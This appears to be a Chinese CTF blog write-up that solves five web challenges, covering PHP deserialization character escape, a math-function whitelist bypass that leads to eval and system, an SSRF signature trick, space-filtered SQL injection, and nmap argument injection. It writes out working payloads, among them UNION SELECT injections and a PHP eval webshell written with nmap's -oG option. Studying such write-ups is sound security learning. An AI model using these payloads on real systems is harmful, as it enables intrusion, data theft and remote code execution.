你👱🏻‍寒假打了几次比赛,但是做出来的题跟打的比赛次数差不多

你👱🏻‍太拉胯了,只能继续看题

否则你👱🏻‍只能从CTF的世界里Get Out了

[安洵杯 2019]easy_serialize_php

你👱🏻‍打开网站看源码

根据提示先看phpinfo

这里得直接搜一些敏感点如fopen,disable_,root等等

再逐步审计代码

filter函数就是正则匹配 /php|flag|php5|php4|fl1g/i 替换为空

中间一大串就是给session初始化

将session序列化之后调用filter函数

最后我们需要file_get_contents读取文件

d0g3_f1ag.php直接读是读不到的

我们需要base64_decode($userinfo[‘img’])=d0g3_f1ag.php

那么需要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==

而$userinfo又是通过$serialize_info反序列化来的

$serialize_info又是通过session序列化之后再过滤得来的

session的img在img_path这里赋值,

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

但是filter会过滤掉php flag等关键字,所以这个地方需要处理

你👱🏻‍搜了一下,这里涉及到php反序列化字符逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
例如:

<?php
$str='a:2:{i:0;s:8:"aew1ec0g";i:1;s:5:"aaa11";}';
var_dump(unserialize($str));

输出结果:

array(2) { 
[0]=> string(8) "aew1ec0g" 
[1]=> string(5) "aaa11" 
}

一般我们会认为,只要增加或去除str的任何一个字符都会导致反序列化的失败。 但是事实并非如此,如果我们在str结尾的花括号后再增加一些字符呢?

比如:

 <?php
$str='a:2:{i:0;s:8:"aew1ec0g";i:1;s:5:"aaa11";}abc';
var_dump(unserialize($str));

依然可以得到上面的结果

这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行

代入题目中

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

结果为

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

如果后台将flag的字符替换为空

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

此时将这串字符串进行序列化

这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,

那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:”function”;s:59:”a,读取这24个字符后以”;结尾,

恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

SESSION数组的键值img对应的值发生了改变

如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。

这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。

而识别完成后最后面的”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}被忽略掉了,不影响正常的反序列化过程

所以构造payload:

 get:f=show_image 
 post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

回显

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn

 get:f=show_image 
 post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flag

[CISCN 2019 初赛]Love Math

你👱🏻‍打开题目看到源码

首先是审计源码

scandir() 函数:返回指定目录中的文件和目录的数组。

base_convert() 函数:在任意进制之间转换数字。

dechex() 函数:把十进制转换为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

var_dump() :函数用于输出变量的相关信息。

readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

语法:readfile(filename,include_path,context)

过滤后可以使用白名单中的数学函数,.,^等,同时长度限制在80个字符以内,要得到flag 只靠几个数学函数是没用的,得想办法构造函数被eval执行

构造system(“cat /flag”)会受到函数和引号限制,引号删掉后命令依然可以执行,而对于函数,可以利用动态函数的性质,用字符串做函数名,加上括号就会被当成函数执行。

这里要熟悉两个php特点

动态函数
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
例如:$function = "sayHello";$function();

php中函数名默认为字符串
例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择

比如

    c=($_GET[a])($_GET[b])

如果a=system,b=cat /flag,就可以执行system(cat /flag)。

所以可以写成

 c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是白名单会检测c中出现的变量名,a和b都不能出现,但是可以用白名单的值,GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET。

所以构造如下

base_convert(37907361743,10,36)(dechex(1598506324))

因为:

base_convert(37907361743,10,36)=>"hex2bin",
dechex(1598506324)=>"5f474554"
hex2bin("5f474554")=>_GET

为了不让结果太长,需要用一个白名单变量来保存上述值,最好用最短的pi,否则长度很容易超限制。

所以得到最终payload为

   c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

得到flag

[De1CTF 2019]SSRF Me

你👱🏻‍打开是这个样子

看起来很乱,其实是源🐴

整理完后发现是flask框架

geneSign是对传入的param与其他字符串拼接并返回其md5值

De1ta是主要,传入3个参数以及ip,先判断param是否是gopher或者file开头的参数,不过则过到Task中并返回task的Exec()函数结果,另外hint提示在flag.txt中有flag

现在打开De1ta,并传参action=scan,param=flag.txt,sign=94130db2c6dc650b303b28b8dd307c71637063,一步步操作来找出条件,先传参,再进入Exec()函数,

先使用checkSign函数检验sign,所以我们需要getSign(self.action, self.param) == self.sign成立,这个可以通过geneSign来获取

然后2个if,判断scan或read 是否在action内,在则,前者是把param对应文件的内容写入result.txt,后者是把result.txt取出来并返还给我们,也就是说,这2个if我们都需要调用,这样就能获取到flag,而scan和read的判断是包含,所以我们的action就可以是readscan,或者scanread,那sign怎么获取呢?

我们要绕过getSign(self.action, self.param) == self.sign的同时还需要action为readscan,或者scanread

getsign函数为

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

他用param和action做拼接,而action是固定的scan

我们先使用geneSign,传参为flag.txtread然后拼接为flag.txtreadscan,生成sign保存下来

得到072df7309130a4d57a36026390d7f3ca

再传参数param=flag.txt action=readscan sign=072df7309130a4d57a36026390d7f3ca

[SWPU2019]Web1

你👱🏻‍打开题目是个登录界面

随便注册登录后

找一下注入点,发现在发布广告的地方可以注入

输入1’

可能有SQL注入

发现过滤了空格

使用/xx/绕过

1'/**/union/**/select/**/1,2,3/**/'

往后面一直加到22列

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

查表

 1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

设第二列别名为b

 1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

设第三列别名为b查flag

 1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

得到flag

[网鼎杯 2020 朱雀组]Nmap

https://fohunbrella.github.io/2022/02/06/%E5%BF%AB%E4%B9%90%E5%AF%92%E5%81%873/

之前做过nmap的题,这里又遇到了

将之前的payload

 127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG test.php'

放进去试试

你👱🏻‍fail了

这里应该是过滤了东西,所以再改改试试

 127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG test.phtml '

上传成功,去看看传的🐴

得到flag